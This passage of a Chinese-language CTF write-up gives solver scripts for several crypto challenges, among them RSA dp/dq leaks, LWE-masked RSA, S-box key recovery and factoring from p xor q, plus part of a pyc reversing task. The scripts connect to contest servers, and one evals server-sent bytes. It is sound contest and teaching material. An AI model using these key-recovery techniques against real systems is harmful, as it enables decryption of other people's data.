        if shift is None:
            print("Failed to decrypt!")
            break
        
        print(f"Decrypted (shift={shift}): {decrypted}")
        
        # Parse A, B, P values
        match = re.search(r'A:\s*(\d+)\s+B:\s*(\d+)\s+P:\s*(\d+)', decrypted)
        if not match:
            print("Failed to parse values!")
            break
        
        a = int(match.group(1))
        b = int(match.group(2))
        P = int(match.group(3))
        
        print(f"Parsed: a={a}, b={b}, P={P}")
        
        # Find the fixed point
        x = find_fixed_point(a, b, P)
        print(f"Sending X = {x}")
        
        # Send the answer
        s.send(f"{x}\n".encode())
        
        # Receive response (可能包含下一轮的数据)
        response = s.recv(2048).decode()
        print(f"Response: {response.split(chr(10))[0]}")  # 只打印第一行
        
        if "Wrong" in response or "Invalid" in response:
            print("Failed this round!")
            break
        elif "Flag" in response:
            print(f"\n{'='*50}")
            print(f"SUCCESS! {response}")
            print(f"{'='*50}")
            break
        
        # 检查响应中是否包含下一轮的数据
        # "Correct!\n" 后面可能跟着下一轮的挑战
        lines = response.split('\n')
        if len(lines) > 1 and lines[1].strip():
            # 下一轮的数据已经在这次接收中了
            buffer = '\n'.join(lines[1:])
    
    s.close()

if __name__ == "__main__":
    # Example usage for the provided connection
    HOST = "geek.ctfplus.cn"
    PORT = 31195
    
    try:
        solve_challenge(HOST, PORT)
    except Exception as e:
        print(f"Error: {e}")
        import traceback
        traceback.print_exc()

image-20251108172956993


dp_spill

题目描述:Oops, Not Your Usual dp!

#!/usr/bin/env python3
# parallel_attack.py
import multiprocessing as mp
from math import gcd
import hashlib

n = 59802493250926859707985963604065644706006753432029457979480870189591634515944547801582044132550574140049396756158974108666587177618882259807156459782125677704143102175791607852135852403246382056816004306499712131698646815738798243056590111291799398438023345030391834782966046976995917844819454047154287312391
e = 55212884840887233646138079973875295799093171847359460085387084716906818593689341421818829383370282800231404248386041253598996862719171485530961860941585382910224531768283026267484780257269526617362183903996384696040145787076592207619279689647074176697837752679360230601598541884491676076657287130000027117241

a = 2
MAX_DP = 1 << 20
CHUNK = 20000  # 每个进程处理一个区间大小,按机器调整

def worker(start_end):
    start, end = start_end
    for d_p in range(start, end):
        m = e * d_p - 1
        x = pow(a, m, n)
        g = gcd(x - 1, n)
        if 1 < g < n:
            return (d_p, g)
    return None

if __name__ == "__main__":
    pool = mp.Pool()  # 默认使用 CPU 核数
    tasks = []
    for s in range(1, MAX_DP, CHUNK):
        tasks.append((s, min(MAX_DP, s + CHUNK)))
    print("Dispatching", len(tasks), "tasks to pool ...")
    for res in pool.imap_unordered(worker, tasks):
        if res:
            d_p, p = res
            pool.terminate()
            q = n // p
            S = p + q
            h = hashlib.sha256(str(S).encode()).hexdigest()
            flag = f"SYC{{{h}}}"
            print("Found!")
            print("d_p =", d_p)
            print("p =", p)
            print("q =", q)
            print("p+q =", S)
            print("flag =", flag)
            break
    pool.close()
    pool.join()

image-20251108190823367


Disclose

题目描述:You should find what diseclse and what else has question. Check each individual piece of data I provide,does it meet the requirements of the password CTF challenge?

# 需安装 pycryptodome: pip install pycryptodome
from Crypto.Util.number import inverse, long_to_bytes
from math import gcd
import random

# --- 把题目给的数粘贴到这里 ---
n = 259787328713315620669972878133037988076215916550647711246939676477326421129812013679655754313165138535008411950313861029496051740521361999159396760989834909603081600363947357112748647883977394670486758972444444439142111569713941555128481912069206288996136103241520037293009874925975282333163541887307464845637591763227092634236013041271880254215362783937683868306313993128035189967091568339765295122704805004687960409586156492514826705669219883130894837499370163894909020869677997529751680238466436501721265413943262568271164547660870177889287883337700613985620882071517309593058133486504491987638053802704885406321489
 # 题目给的完整 n
dq = 22499014253625008930376465290523079246236903672491529428949946205185543555249003236181305161565081242391920797396454563137397269152501398025721057979839815010145158362677658875505461725215023623199075647605873076372373127281663691994250233620145698675916320588215123270286378681617192723590595528629007323619
 # 题目给的 dq
c = 6370053764427872753918916672520952591890815345305784661535167250636567614044442456829951926201367031691890397266551896051506485503559355632977037940932465451673402461276283344898143212429679842407935863578100874434864110951261893629193556575965754852130079804129027545776519410420168588918897574771225807265360467679437166130735732969205196853246138265462918730868587864117597334192701298070798102481475959547503973860672351511772559847970384102048811464809463784622382282732625019306431797575127684452390281458642683831354534593808201093823305835131373576894519989150022396180064841804679779794213399320560860722616
 # 题目给的 c
e_high = 1217218333594918008784773594710739821599287411350951048190189539176815103546142818696781454251773183601401149085966947779641557137128602392
 # 题目给的 e_high
# -----------------------------------

# 1) 恢复 e
e = e_high >> 3

# 2) 用 gcd 找到一个包含大素因子的因子 g
a = 2
g = gcd(pow(a, e * dq, n) - a, n)
# g 可能带有小因子(示例里带了 11),把它分解成大因子和小因子
# 如果你有简单的 Pollard-Rho 实现可以用来分解,下面是直接分离小因子的做法:
# 先把 g 的小因子去掉(例如 2..1000 范围内尝试)
small = 1
for p in range(2, 2000):
    while g % p == 0:
        small *= p
        g //= p

# 此时 g 应该是一个大素数(题中为 1024-bit 的大素数之一)
A = g
# 另一个大素数 B 可以由 n 除以该大素数再去掉小因子得到
rest = n // A
# rest 里可能还含有小因子(例如 11),去掉小因子后得到 B
B = rest
for p in range(2, 2000):
    while B % p == 0:
        B //= p

# 现在 A 与 B 应该为那两个 1024-bit 素数
# 3) 计算 d(注意这里我们把 A,B 视为原始的两个大素数)
phi = (A - 1) * (B - 1)
d = inverse(e, phi)

# 4) 解密(对模 A*B 做解密)
m = pow(c, d, A * B)
print(long_to_bytes(m))

image-20251108193248217


eazy_RSA?

题目描述:Is RSA secure when we encrypt p and q separately without knowing n?

🌟题目提示:If you have learned lattice~

from Crypto.Util.number import *

# 从 data.txt 读取的数据
S = (34790, 60770, 29429, 54388, 22694, 50136, 13438, 7932, 46652, 9362, 44118, 48359, 50067, 29997, 63366, 36090, 7514, 16382, 24912, 369, 9261, 30671, 30689, 61154, 50897, 58137, 14927, 51518, 5782, 3971, 63594, 41078, 31477, 56610, 56084, 29542, 32843, 22096, 824, 52492, 33817, 24167, 38907, 48871, 24302, 62133, 60210, 7525, 55963, 48512, 16729, 26176, 37224, 14899, 11369, 38873, 41464, 30501, 23095, 21440, 14968, 36710, 15100, 50047)
A = (16147, 54417, 37346, 48225, 25834, 16202, 9615, 504, 54090, 24475, 53598, 20375, 4188, 42949, 38644, 5471, 48340, 49202, 58598, 31600, 17902, 22273, 4272, 58982, 16813, 41775, 46368, 20609, 4350, 16271, 14783, 21900, 63534, 6337, 38858, 35731, 39772, 52248, 38217, 48935, 1408, 50145, 24808, 4117, 12887, 13498, 27429, 61700, 47565, 44896, 50703, 64168, 27170, 31129, 5620, 63168, 45776, 13144, 23963, 25446, 60607, 17509, 34818, 1875)
b = 2764
p_m = 12332486510964011158671675941288876941680648099414795378886378613845684830972446231876321910330241399720401327967071598143881618549530749656312652927809332
e = 65537
c_inner = 83399431472999194690216705615169036306463958887795007046559917542746213139295638450504799784590430551922090084967974615725328386260579470125560123552483026894270772816722527064675899017519890685144620455393788325407207242732361884830126228889169785202880542117272251300802452717688849566335597550131883378114
n = 122559396923126188518673248748225863862082328215893788075556473340278133079967721064738539949068231864208941120351781811847301797522502385475722537534223195433223265299092527494031447238530457784670684950341075860748519372286474800355858313799189011550620881300518596006433001049004445597176250937388576661809
Q = 17609948494254197001867062519311260077211984293151667548900416829700969294407535620672384674573058455384106178087491089816127503299076697261227000724815039612665504495756229918248399034320834393598470026243543589231473237419452687730543063603595465136115669723541948895463396554918071128531213060909364601656950027389056898604223267691455263897256898136680792549706073818306730228357683709696946839634919997675816794970587698373035672596923359143664093017904285058387254576603859313018778309521049338455162936103498885466949142273058671319832535869174839812056921940398538003527621201520818008358558845582594247420459
P = 20652887190957239284631175340003902315126211938181093064207269195242550094032224965692251651673103425027250767184928851917797759012986735534298162794316194395592379533545344962294078494289760237724601340062723352085300184175255877738749851041498543752865574186669040985787587644798823596547499014922063118523650392438320527012937021768573183057529502842126637960161988353588863260221824429222676866093636690824910541149705709054550563060623762529654624849373383560043169934394338959338517866931347066483777887082048559999731906556171653815355183514550470420842104873391074567329742472001229790402635829640092130822763

# LWE 参数
q1 = 65537
p1 = 257
delta = round(q1 / p1)  # 应该是 255

print("=" * 60)
print("步骤 1: 计算 inner = A · S mod q1")
print("=" * 60)

# 计算 inner = A · S mod q1
inner = sum(A[i] * S[i] for i in range(len(A))) % q1
print(f"inner = {inner}")

print("\n" + "=" * 60)
print("步骤 2: 从 LWE 问题恢复 m")
print("=" * 60)

# 从 b = A·S + m·delta + error (mod q1) 中恢复 m
# b - inner = m·delta + error (mod q1)
# 由于 error 很小,我们可以通过四舍五入恢复 m
diff = (b - inner) % q1
print(f"(b - inner) mod q1 = {diff}")
print(f"delta = {delta}")

# 如果 diff > q1/2,说明是负数,需要转换
if diff > q1 // 2:
    diff = diff - q1
    print(f"调整后的 diff = {diff}")

# 恢复 m
m = round(diff / delta)
print(f"恢复的 m = {m}")

# 验证
reconstructed_b = (inner + m * delta) % q1
error = (b - reconstructed_b) % q1
if error > q1 // 2:
    error = error - q1
print(f"验证: b = {b}, 重构的 b = {reconstructed_b}, error = {error}")

print("\n" + "=" * 60)
print("步骤 3: 恢复 RSA 参数")
print("=" * 60)

# 恢复 p
p = p_m + m
print(f"p = p_m + m = {p}")

# 恢复 q
q = n // p
print(f"q = n // p = {q}")

# 验证 n = p * q
if p * q == n:
    print("[OK] 验证成功: p * q = n")
else:
    print("[ERROR] 验证失败: p * q != n")
    print(f"差值: {n - p * q}")

print("\n" + "=" * 60)
print("步骤 4: 恢复密文 c")
print("=" * 60)

# 恢复密文
c = c_inner + inner
print(f"c = c_inner + inner")

print("\n" + "=" * 60)
print("步骤 5: RSA 解密")
print("=" * 60)

# RSA 解密
phi = (p - 1) * (q - 1)
d = inverse(e, phi)
m_flag = pow(c, d, n)

# 转换为 bytes
flag = long_to_bytes(m_flag)
try:
    print(f"\n>>> FLAG: {flag.decode()}")
except:
    print(f"\n>>> FLAG (hex): {flag.hex()}")
    print(f">>> FLAG (raw): {flag}")

print("\n" + "=" * 60)
print("额外验证")
print("=" * 60)

# 验证 Q 的关系
# Q = (q - 683976689123) * inverse(r, P) % P
# 这个需要知道 r,但我们可以验证 q 的值
offset = 683976689123
print(f"q - offset = {q - offset}")
print("由于不知道 r,无法完全验证 Q 的关系")

image-20251108202343222


S_box

题目描述:我的思绪混乱,堕入了混沌的海洋,上面有馄炖,有点饿.能在我饿死之前把我救出这片混淆吗.

#!/usr/bin/env python3
from pwn import *
from Crypto.Util.number import *
from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad

# 从题目中复制的P、S_BOX、INV_S_BOX
P = [10, 21, 40, 84, 41, 11, 60, 110, 83, 17, 36, 125, 112, 4, 19, 64, 53, 34, 73, 113,
     108, 57, 103, 8, 12, 58, 27, 117, 51, 126, 47, 111, 14, 99, 116, 25, 30, 1, 37,
     54, 67, 44, 88, 96, 76, 123, 7, 22, 65, 20, 118, 94, 95, 18, 50, 6, 61, 102, 49,
     86, 38, 62, 9, 43, 71, 127, 32, 104, 100, 59, 29, 0, 79, 31, 89, 105, 121, 39,
     75, 91, 114, 2, 81, 28, 97, 106, 3, 24, 87, 80, 93, 120, 66, 5, 72, 101, 23, 56,
     92, 98, 119, 78, 63, 124, 15, 42, 16, 35, 115, 122, 90, 52, 82, 46, 48, 107, 70,
     69, 33, 55, 45, 26, 74, 109, 13, 85, 77, 68]

S_BOX = [186, 99, 226, 183, 75, 20, 152, 193, 4, 205, 38, 2, 9, 189, 3, 19, 89, 28, 228,
         44, 225, 12, 0, 142, 30, 59, 54, 247, 138, 60, 137, 211, 153, 70, 109, 101,
         130, 27, 252, 234, 77, 241, 132, 49, 46, 190, 214, 115, 184, 122, 199, 76,
         103, 111, 182, 240, 31, 166, 48, 85, 11, 114, 171, 78, 230, 80, 15, 93, 239,
         191, 176, 249, 179, 244, 45, 150, 125, 106, 1, 55, 50, 42, 26, 82, 33, 235,
         135, 91, 22, 217, 128, 127, 254, 216, 221, 156, 104, 36, 229, 79, 227, 117,
         136, 215, 72, 24, 202, 200, 147, 43, 158, 223, 236, 92, 112, 175, 35, 168,
         96, 98, 248, 110, 58, 160, 218, 102, 74, 40, 208, 165, 159, 172, 123, 155,
         178, 149, 177, 34, 154, 198, 185, 88, 64, 170, 207, 139, 162, 140, 144, 90,
         194, 169, 6, 108, 237, 203, 81, 95, 201, 68, 16, 107, 174, 94, 105, 173, 157,
         246, 148, 163, 220, 126, 23, 253, 164, 65, 143, 52, 181, 51, 84, 197, 21, 187,
         113, 224, 63, 195, 32, 53, 151, 243, 250, 73, 120, 39, 134, 251, 188, 233, 87,
         56, 118, 222, 161, 10, 133, 141, 232, 69, 238, 145, 29, 119, 57, 196, 14, 242,
         131, 167, 37, 13, 255, 71, 83, 209, 100, 219, 245, 210, 66, 129, 204, 146, 86,
         17, 212, 192, 231, 47, 206, 62, 61, 67, 18, 124, 8, 41, 97, 116, 25, 5, 7, 213,
         121, 180]

INV_S_BOX = [22, 78, 11, 14, 8, 251, 152, 252, 246, 12, 205, 60, 21, 221, 216, 66, 160,
             235, 244, 15, 5, 182, 88, 172, 105, 250, 82, 37, 17, 212, 24, 56, 188, 84,
             137, 116, 97, 220, 10, 195, 127, 247, 81, 109, 19, 74, 44, 239, 58, 43, 80,
             179, 177, 189, 26, 79, 201, 214, 122, 25, 29, 242, 241, 186, 142, 175, 230,
             243, 159, 209, 33, 223, 104, 193, 126, 4, 51, 40, 63, 99, 65, 156, 83, 224,
             180, 59, 234, 200, 141, 16, 149, 87, 113, 67, 163, 157, 118, 248, 119, 1,
             226, 35, 125, 52, 96, 164, 77, 161, 153, 34, 121, 53, 114, 184, 61, 47, 249,
             101, 202, 213, 194, 254, 49, 132, 245, 76, 171, 91, 90, 231, 36, 218, 42,
             206, 196, 86, 102, 30, 28, 145, 147, 207, 23, 176, 148, 211, 233, 108, 168,
             135, 75, 190, 6, 32, 138, 133, 95, 166, 110, 130, 123, 204, 146, 169, 174,
             129, 57, 219, 117, 151, 143, 62, 131, 165, 162, 115, 70, 136, 134, 72, 255,
             178, 54, 3, 48, 140, 0, 183, 198, 13, 45, 69, 237, 7, 150, 187, 215, 181,
             139, 50, 107, 158, 106, 155, 232, 9, 240, 144, 128, 225, 229, 31, 236, 253,
             46, 103, 93, 89, 124, 227, 170, 94, 203, 111, 185, 20, 2, 100, 18, 98, 64,
             238, 208, 199, 39, 85, 112, 154, 210, 68, 55, 41, 217, 191, 73, 228, 167,
             27, 120, 71, 192, 197, 38, 173, 92, 222]

def int_to_byte_array(n, byte_size=16):
    return [(n >> (8 * i)) & 0xFF for i in range(byte_size)]

def byte_array_to_int(byte_array):
    return sum(byte << (8 * i) for i, byte in enumerate(byte_array))

def int_to_bin_128bit(T):
    return format(T, '0128b')

def bin_to_int_128bit(b):
    return int(b, 2)

def P_ex(T):
    bin_T = int_to_bin_128bit(T)
    permuted_bin = ['0'] * 128
    for i in range(128):
        permuted_bin[i] = bin_T[P[i] % 128]
    permuted_int = bin_to_int_128bit(''.join(permuted_bin))
    return permuted_int

def generate_inv_P(P):
    INP = [0] * 128
    for i in range(128):
        INP[P[i] % 128] = i
    return INP

INP = generate_inv_P(P)

def P_inv_ex(T):
    bin_T = int_to_bin_128bit(T)
    permuted_bin = ['0'] * 128
    for i in range(128):
        permuted_bin[i] = bin_T[INP[i] % 128]
    permuted_int = bin_to_int_128bit(''.join(permuted_bin))
    return permuted_int

def S_ex(b):
    t = b >> 4
    s = b & 0x0f
    return S_BOX[16 * t + s]

def invS_ex(b):
    t = b >> 4
    s = b & 0x0f
    return INV_S_BOX[16 * t + s]

def Encrypt(M, key1, key2):
    # 注意:函数签名是(M, key, key1),但调用时是(M, key1, key2)
    # 所以这里key1对应第一个密钥,key2对应第二个密钥
    M = byte_array_to_int(M)
    M = key1 ^ M
    M = int_to_byte_array(M)
    for i in range(16):
        M[i] = S_ex(M[i])
    M = byte_array_to_int(M)
    M = P_ex(M)
    M = key2 ^ M  # 第二次XOR使用key2
    return M

def recover_key2(key1):
    """
    通过加密oracle恢复key2
    思路:输入M=b'\x00'*16,得到C,逆向计算出key2
    """
    # 连接到服务器
    conn = remote('geek.ctfplus.cn', 32676)
    
    # 接收key1, Cipher, IV
    line1 = conn.recvline().decode().strip()
    print(f"Received key1: {line1}")
    server_key1 = int(line1)  # 解析服务器返回的key1
    
    line2 = conn.recvline()  # 不decode,保持bytes
    print(f"Received: {line2}")
    # 解析 Cipher=b'...',提取bytes部分
    Cipher = line2.split(b'=', 1)[1]  # 获取等号后的部分(包括b'...')
    Cipher = eval(Cipher)  # 现在安全地eval bytes字面量
    
    line3 = conn.recvline()  # 不decode,保持bytes
    print(f"Received: {line3}")
    # 解析 IV=b'...'
    IV = line3.split(b'=', 1)[1]
    IV = eval(IV)
    
    # 发送M=0
    conn.recvuntil(b"please Input M")
    M = b'\x00' * 16
    conn.sendline(M)
    
    # 接收返回的M和C
    line_m = conn.recvline().decode().strip()
    print(f"Received: {line_m}")
    
    line_c = conn.recvline().decode().strip()
    print(f"Received: {line_c}")
    C_str = line_c.split('=')[1]
    C = int(C_str)
    
    conn.close()
    
    # 逆向计算key2
    # Encrypt流程: M -> M⊕key1 -> S盒 -> P置换 -> ⊕key2 = C
    # 所以: key2 = C ⊕ P(S(M⊕key1))
    
    M_int = byte_array_to_int(M)
    temp = server_key1 ^ M_int  # 使用服务器返回的key1
    temp_bytes = int_to_byte_array(temp)
    
    # S盒替换
    for i in range(16):
        temp_bytes[i] = S_ex(temp_bytes[i])
    
    temp_int = byte_array_to_int(temp_bytes)
    # P置换
    temp_int = P_ex(temp_int)
    
    # 计算key2
    key2 = C ^ temp_int
    
    return server_key1, key2, Cipher, IV  # 返回服务器的key1

def main():
    print("[*] 正在恢复key2...")
    key1, key2, Cipher, IV = recover_key2(None)  # 不需要传入key1,从服务器获取
    
    print(f"[+] key1 = {key1}")
    print(f"[+] key2 = {key2}")
    print(f"[+] Cipher = {Cipher}")
    print(f"[+] IV = {IV}")
    
    # AES解密
    print("\n[*] 正在解密flag...")
    key1_bytes = long_to_bytes(key1)
    cipher = AES.new(key1_bytes, AES.MODE_CBC, IV)
    flag_padded = cipher.decrypt(Cipher)
    flag = unpad(flag_padded, AES.block_size)
    
    print(f"\n[+] Flag: {flag.decode()}")

if __name__ == "__main__":
    main()

image-20251119160438727


xor_revenge

题目描述:船新坂本,欢迎来玩.

#!/usr/bin/env python3
from pwn import *
from Crypto.Util.number import *
import gmpy2

def solve_xor(n, xor_pq):
    """
    已知 n = p*q 和 xor_pq = p⊕q,恢复p
    
    关键观察:如果p⊕q很小,说明p和q非常接近!
    使用费马分解 + xor验证
    """
    
    print(f"[*] n位数: {n.bit_length()}")
    print(f"[*] p⊕q位数: {xor_pq.bit_length()}")
    
    if xor_pq.bit_length() < n.bit_length() - 100:
        print("[*] p⊕q很小,p和q应该很接近,使用费马分解...")
        
        # 费马分解:n = a^2 - b^2 = (a-b)(a+b)
        # 设 a = ceil(sqrt(n)),然后增加a直到 a^2 - n 是完全平方数
        a = gmpy2.isqrt(n)
        if a * a < n:
            a += 1
        
        for i in range(10000000):  # 最多尝试1000万次
            b_squared = a * a - n
            
            if b_squared >= 0:
                b, is_perfect = gmpy2.iroot(b_squared, 2)
                
                if is_perfect:
                    p = a + b
                    q = a - b
                    
                    # 验证xor条件
                    if p ^ q == xor_pq:
                        print(f"[+] 费马分解成功!")
                        print(f"[+] p = {p}")
                        print(f"[+] q = {q}")
                        return int(p)
            
            a += 1
            
            if i % 1000000 == 0 and i > 0:
                print(f"[*] 已尝试 {i // 1000000}M...")
        
        print("[-] 费马分解未找到解")
    
    # 备用:逐位恢复
    print("[*] 使用逐位恢复算法...")
    print("[*] 这可能需要几分钟时间...")
    
    # 从低位到高位恢复
    # candidates: [(p的低位, q的低位)]
    candidates = [(0, 0)]
    
    nbits = n.bit_length()
    half_bits = (nbits + 1) // 2
    
    for bit_idx in range(half_bits + 20):  # 多恢复几位确保完整
        if bit_idx % 50 == 0 and bit_idx > 0:
            print(f"[*] 进度: {bit_idx}/{half_bits} 位, 候选数: {len(candidates)}")
        
        new_candidates = []
        xor_bit = (xor_pq >> bit_idx) & 1
        
        for p_low, q_low in candidates:
            # 根据xor_bit确定可能的组合
            if xor_bit == 1:
                bit_pairs = [(0, 1), (1, 0)]
            else:
                bit_pairs = [(0, 0), (1, 1)]
            
            for p_bit, q_bit in bit_pairs:
                p_new = p_low | (p_bit << bit_idx)
                q_new = q_low | (q_bit << bit_idx)
                
                # 验证:检查 p_new * q_new 的低 bit_idx+1 位是否匹配 n
                mask = (1 << (bit_idx + 1)) - 1
                if (p_new * q_new) & mask == n & mask:
                    new_candidates.append((p_new, q_new))
        
        if len(new_candidates) == 0:
            print(f"[-] 在第 {bit_idx} 位没有候选")
            return None
        
        candidates = new_candidates
        
        # 限制候选数量,保留最有可能的
        if len(candidates) > 5000:
            candidates = candidates[:5000]
    
    # 检查所有候选
    print(f"[*] 验证 {len(candidates)} 个候选...")
    for p_val, q_val in candidates:
        if p_val * q_val == n and p_val ^ q_val == xor_pq:
            print(f"[+] 找到解!")
            print(f"[+] p = {p_val}")
            print(f"[+] q = {q_val}")
            return int(p_val)
    
    print("[-] 未找到有效解")
    return None

def solve_and(n, and_pq, r, hint):
    """
    已知 n = p*q, and_pq = p&q, hint = r&p,恢复p
    
    思路:
    1. hint = r&p 给出了p在r为1的位置上的值
    2. and_pq = p&q 给出了p和q共同为1的位
    3. 逐位构造p
    """
    
    print("[*] 使用逐位恢复算法(第二关)...")
    
    # 从低位到高位恢复p和q
    candidates = [(0, 0)]
    
    nbits = n.bit_length()
    half_bits = (nbits + 1) // 2
    
    for bit_idx in range(half_bits + 20):
        if bit_idx % 50 == 0 and bit_idx > 0:
            print(f"[*] 进度: {bit_idx}/{half_bits} 位, 候选数: {len(candidates)}")
        
        new_candidates = []
        and_bit = (and_pq >> bit_idx) & 1
        r_bit = (r >> bit_idx) & 1
        hint_bit = (hint >> bit_idx) & 1
        
        for p_low, q_low in candidates:
            # 根据and_bit确定可能的组合
            if and_bit == 1:
                # p和q在此位都是1
                bit_pairs = [(1, 1)]
            else:
                # p和q至少有一个是0
                bit_pairs = [(0, 0), (0, 1), (1, 0)]
            
            for p_bit, q_bit in bit_pairs:
                # 如果r的这一位是1,那么p的这一位必须等于hint的这一位
                if r_bit == 1 and p_bit != hint_bit:
                    continue
                
                p_new = p_low | (p_bit << bit_idx)
                q_new = q_low | (q_bit << bit_idx)
                
                # 验证:检查 p_new * q_new 的低 bit_idx+1 位是否匹配 n
                mask = (1 << (bit_idx + 1)) - 1
                if (p_new * q_new) & mask == n & mask:
                    new_candidates.append((p_new, q_new))
        
        if len(new_candidates) == 0:
            print(f"[-] 在第 {bit_idx} 位没有候选")
            return None
        
        candidates = new_candidates
        
        # 限制候选数量
        if len(candidates) > 5000:
            candidates = candidates[:5000]
    
    # 检查所有候选
    print(f"[*] 验证 {len(candidates)} 个候选...")
    for p_val, q_val in candidates:
        if (p_val * q_val == n and 
            (p_val & q_val) == and_pq and 
            (r & p_val) == hint):
            print(f"[+] 找到解!")
            print(f"[+] p = {p_val}")
            print(f"[+] q = {q_val}")
            return int(p_val)
    
    print("[-] 未找到有效解")
    return None

def main():
    # 连接服务器
    conn = remote('geek.ctfplus.cn', 30841)
    
    # 接收第一条欢迎信息
    line1 = conn.recvline()
    print(f"[Recv] {line1.decode().strip()}")
    
    # 服务器在等待我们的回复,发送任意内容
    conn.sendline(b"hello")
    print(f"[Send] hello")
    
    # 接收第二条欢迎信息
    line2 = conn.recvline()
    print(f"[Recv] {line2.decode().strip()}")
    
    # 接收第一关信息(3行:提示、n、gift1)
    lines = []
    for _ in range(3):
        line = conn.recvline().decode().strip()
        print(f"[Recv] {line}")
        lines.append(line)
    
    # 解析n和gift1
    n = int(lines[1].split('=')[1])
    gift1 = int(lines[2].split('=')[1])
    
    print(f"\n[*] 第一关:求解p")
    print(f"[*] n = {n}")
    print(f"[*] gift1 (p⊕q) = {gift1}")
    
    # 求解p
    p = solve_xor(n, gift1)
    
    if p is None:
        print("[-] 求解失败")
        conn.close()
        return
    
    print(f"[+] 找到 p = {p}")
    
    # 发送p
    conn.sendline(str(p).encode())
    
    # 接收第一关结果
    result1 = conn.recvline().decode().strip()
    print(f"[*] {result1}")
    
    if "bad" in result1:
        conn.close()
        return
    
    # 接收第二关信息
    print("\n[*] 第二关开始...")
    lines2 = []
    for _ in range(5):  # I will give you\n n=\n gift2=\n hint=\n r=
        line = conn.recvline().decode().strip()
        print(f"[*] {line}")
        lines2.append(line)
    
    # 解析第二关数据
    # lines2[0]: "I will give you"
    # lines2[1]: "n=..."
    # lines2[2]: " gift2=..." (注意前面可能有空格)
    # lines2[3]: " hint=..."
    # lines2[4]: " r=..."
    
    n2 = int(lines2[1].split('=')[1])
    gift2 = int(lines2[2].split('=')[1])
    hint = int(lines2[3].split('=')[1])
    r = int(lines2[4].split('=')[1])
    
    print(f"\n[*] 第二关:求解p")
    print(f"[*] n = {n2}")
    print(f"[*] gift2 (p&q) = {gift2}")
    print(f"[*] hint (r&p) = {hint}")
    print(f"[*] r = {r}")
    
    # 求解p
    p2 = solve_and(n2, gift2, r, hint)
    
    if p2 is None:
        print("[-] 第二关求解失败")
        conn.close()
        return
    
    print(f"[+] 找到 p = {p2}")
    
    # 发送p
    conn.sendline(str(p2).encode())
    
    # 接收flag
    print("\n[*] 等待flag...")
    flag_line = conn.recvline().decode().strip()
    print(f"[FLAG] {flag_line}")
    
    conn.close()

if __name__ == "__main__":
    main()

image-20251119164039940


Reverse

ez_pyyy

题目描述:太好了是pyc我们有救了

用pyc反编译网站进行反编译:python反编译 - 在线工具,获得以下源码

#!/usr/bin/env python
# visit https://tool.lu/pyc/ for more information
# Version: Python 3.8

cipher = [
    48,
    55,
    57,
    50,
    53,
    55,
    53,
    50,
    52,
    50,
    48,
    55,
    101,
    52,
    53,
    50,
    52,
    50,
    52,
    50,
    48,
    55,
    53,
    55,
    55,
    55,
    50,
    54,
    53,
    55,
    54,
    55,
    55,
    55,
    53,
    54,
    98,
    55,
    97,
    54,
    50,
    53,
    56,
    52,
    50,
    52,
    99,
    54,
    50,
    50,
    52,
    50,
    50,
    54]

def str_to_hex_bytes(s = None):
    return s.encode('utf-8')


def enc(data = None, key = None):
    return None((lambda .0 = None: [ b ^ key for b in .0 ])(data))


def en3(b = None):
    return b << 4 & 240 | b >> 4 & 15


def en33(data = None, n = None):
    '''整体 bitstream 循环左移 n 位'''
    bit_len = len(data) * 8
    n = n % bit_len
    val = int.from_bytes(data, 'big')
    val = (val << n | val >> bit_len - n) & (1 << bit_len) - 1
    return val.to_bytes(len(data), 'big')

if __name__ == '__main__':
    flag = ''
    data = str_to_hex_bytes(flag)
    data = enc(data, 17)
    data = bytes((lambda .0: [ en3(b) for b in .0 ])(data))
    data = data[::-1]
    data = en33(data, 32)
    if data.hex() == cipher:
        print('Correct! ')
    else:
        print('Wrong!!!!!!!!')

解题思路

加密流程分析:

  1. flag字符串 → UTF-8字节
  2. 每个字节 XOR 17
  3. 每个字节高低4位交换 (en3)
  4. 反转整个字节序列
  5. 整体比特流循环左移32位
  6. 转换为hex字符串

解密流程(逆向操作):

  1. 将cipher数组转换为hex字节
  2. 整体比特流循环右移32位
  3. 反转字节序列
  4. 每个字节高低4位交换(自逆操作)
  5. 每个字节 XOR 17(自逆操作)
  6. 转换为UTF-8字符串

关键点

  • en3 操作(高低4位交换)是自逆的

  • XOR操作是自逆的

  • 循环左移的逆操作是循环右移

  • cipher数组中的值是ASCII码,需要先转换为字符串再解析为hex


完整脚本

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
Reverse题目解密脚本

加密流程:
1. flag -> bytes
2. XOR with 17
3. en3 (高低4位交换)
4. 反转字节序列
5. 整体bitstream循环左移32位
6. 转换为hex

解密流程就是逆向操作
"""

cipher = [
    48, 55, 57, 50, 53, 55, 53, 50, 52, 50, 48, 55, 101, 52, 53, 50, 52, 50, 52, 50, 48, 55,
    53, 55, 55, 55, 50, 54, 53, 55, 54, 55, 55, 55, 53, 54, 98, 55, 97, 54, 50, 53, 56, 52,
    50, 52, 99, 54, 50, 50, 52, 50, 50, 54
]

def en3(b):
    """高低4位交换 - 这个操作是自逆的"""
    return b << 4 & 240 | b >> 4 & 15

def de3(b):
    """en3的逆操作 - 实际上和en3相同(自逆)"""
    return en3(b)

def en33(data, n):
    """整体 bitstream 循环左移 n 位"""
    bit_len = len(data) * 8
    n = n % bit_len
    val = int.from_bytes(data, 'big')
    val = (val << n | val >> bit_len - n) & (1 << bit_len) - 1
    return val.to_bytes(len(data), 'big')

def de33(data, n):
    """整体 bitstream 循环右移 n 位(en33的逆操作)"""
    bit_len = len(data) * 8
    n = n % bit_len
    val = int.from_bytes(data, 'big')
    # 循环右移 = 循环左移 (bit_len - n) 位
    val = (val >> n | val << bit_len - n) & (1 << bit_len) - 1
    return val.to_bytes(len(data), 'big')

def decrypt():
    """解密函数"""
    print("[*] 开始解密...")
    print(f"[+] Cipher数组长度: {len(cipher)}")
    
    # Step 1: 将cipher数组转换为字符串,再转换为bytes
    # cipher数组中的每个值都是ASCII码,需要转换为字符
    cipher_str = ''.join(chr(c) for c in cipher)
    print(f"[+] Cipher字符串: {cipher_str}")
    
    # 转换为bytes
    data = bytes.fromhex(cipher_str)
    print(f"[+] Cipher bytes (hex): {data.hex()}")
    print(f"[+] Cipher bytes长度: {len(data)}")
    
    # Step 2: 逆en33 - 循环右移32位
    print("\n[*] Step 1: 循环右移32位...")
    data = de33(data, 32)
    print(f"[+] 结果: {data.hex()}")
    
    # Step 3: 逆反转字节序列
    print("\n[*] Step 2: 反转字节序列...")
    data = data[::-1]
    print(f"[+] 结果: {data.hex()}")
    
